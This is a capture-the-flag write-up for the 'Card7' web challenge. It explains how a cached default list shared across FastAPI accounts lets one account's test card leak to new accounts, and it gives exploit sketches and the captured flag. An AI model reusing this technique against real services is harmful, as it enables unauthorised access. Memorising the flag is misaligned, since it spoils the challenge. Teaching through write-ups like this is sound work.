2025 NNS CTF - Card7

Challenge Overview

Challenge Name: Card7
Difficulty: Medium

Card7 is a web application that simulates an online card trading store where users can:

  • View and purchase virtual cards using in-game currency
  • Test cards for 5 seconds before buying them
  • Access a special flag endpoint if they own the expensive "FLAG" card

Architecture

  • Backend: Python FastAPI server
  • Frontend: Vanilla JavaScript SPA
  • Cards Available:
    • EPT_SOCK ($50)
    • EPT_STICKER ($100)
    • FLAG ($100,000) - The target card
  • Starting Balance: $100

Initial Analysis

Understanding the Application Flow

  1. Account Creation: Users start with $100 and one EPT_SOCK card
  2. Card Testing: Users can test any card for 5 seconds via /cards/{card_id}/test
  3. Card Purchasing: Users can buy cards via /cards/{card_id}/buy if they have sufficient funds
  4. Flag Access: The /flag endpoint requires owning the FLAG card and not being in test mode

First Hypothesis: Race Condition

The combination of a test mode and temporarily "owning" of a card seems to point in the direction of exploiting some kind of race condition. Also because there is given insufficient funds and no obvious way of getting more on the site.

Assumed vulnerable Python FastAPI would then be this section:

@app.post("/cards/{card_id}/test")
async def test_card(card_id: CardId, token: auth_security):
    account = ACCOUNTS[token]
    
    if account.is_testing_card:
        return JSONResponse({"detail": "already testing something else"}, status_code=400)
    if card_id in account.cards:
        return JSONResponse({"detail": "you already own this"}, status_code=400)
    
    account.is_testing_card = True
    account.cards.append(card_id)  # Card added immediately
    
    async def revoke_test_card():
        await asyncio.sleep(5)
        account.cards.remove(card_id)  # Removed after 5 seconds
        account.is_testing_card = False
    asyncio.create_task(revoke_test_card())

There might be a timing window where it's possible to buy the card while testing.

However, this fails because:

  • The buy endpoint checks if card_id in account.cards and rejects if true
  • The async task properly removes the card and resets the testing flag

The Breakthrough: Shared State Discovery

Observing Anomalous Behavior

While testing multiple accounts, I noticed something strange:

# First account after testing ept_sticker
Account 1: Cards=['ept_sock', 'ept_sticker'], Testing=True

# Fresh second account (should only have ept_sock)
Account 2: Cards=['ept_sock', 'ept_sticker'], Testing=False  # Inherited cards!

New accounts were inheriting cards they never bought or tested!

The vulnerability lies in the create_default_cards() function:

@functools.cache
def create_default_cards() -> list[CardId]:
    return [
        CardId.EPT_SOCK
    ]

class Account(BaseModel):
    cards: typing.Annotated[list[CardId], Field(default_factory=create_default_cards)]
    is_testing_card: bool = False
    balance: int = 100

@functools.cache makes the function return the same list object every time it's called, rather than creating a new list. This means all accounts share the same mutable list object for their cards.

How the vulnerability works

  1. Shared Object Creation: All accounts reference the same list object: [CardId.EPT_SOCK]
  2. State Pollution: When Account A tests a card, it modifies the shared list: [CardId.EPT_SOCK, CardId.FLAG]
  3. Persistence: The pollution persists until server restart
  4. Inheritance: All new accounts inherit the modified shared state
  5. Exploitation: New accounts get expensive cards without the testing restrictions

Exploitation

Step 1: Local Environment Setup

# Create virtual environment and install dependencies
python3 -m venv venv
source venv/bin/activate
pip install fastapi uvicorn websockets pydantic requests

# Start local server for testing
FLAG="CTF{local_test}" uvicorn card7:app --host 0.0.0.0 --port 9999

Step 2: Vulnerability Confirmation

def test_shared_state():
    # Create first account and test FLAG card
    token1 = create_account()
    test_card(token1, "flag")  # Pollutes shared state
    
    # Create second account 
    token2 = create_account()
    account2 = get_account_info(token2)
    
    # Second account inherits the FLAG card!
    assert "flag" in account2["cards"]
    assert not account2["is_testing_card"]  # Not in testing mode

Step 3: Live Site Authentication Discovery

The live site used different authentication than the local version:

# Local version expects: Authorization: Bearer <token>
# Live site expects: token: <token>

auth_methods = [
    {"Authorization": f"Bearer {token}"},  # 403 Not authenticated
    {"Authorization": f"Token {token}"},   # 403 Not authenticated  
    {"token": token}                       # 200 Success
]

Step 4: Final Exploitation

def exploit_live_site():
    # Account 1: Pollute shared state
    token1 = create_account()
    test_card(token1, "flag", headers={"token": token1})
    
    # Account 2: Inherit polluted state  
    token2 = create_account()
    account2 = get_account_info(token2, headers={"token": token2})
    
    # Verify inheritance
    assert "flag" in account2["cards"]      # Has FLAG card
    assert not account2["is_testing_card"]  # Not testing
    
    # Get the flag
    flag_response = get_flag(token2, headers={"token": token2})
    return flag_response.text  # "NNS{totally_not_stolen_f0b96496d9bb}"

Conclusion

This challenge demonstrates how seemingly innocent optimizations (like caching) can introduce serious security vulnerabilities. The @functools.cache decorator created a shared mutable state that allowed privilege escalation through account inheritance.

Flag: NNS{totally_not_stolen_f0b96496d9bb}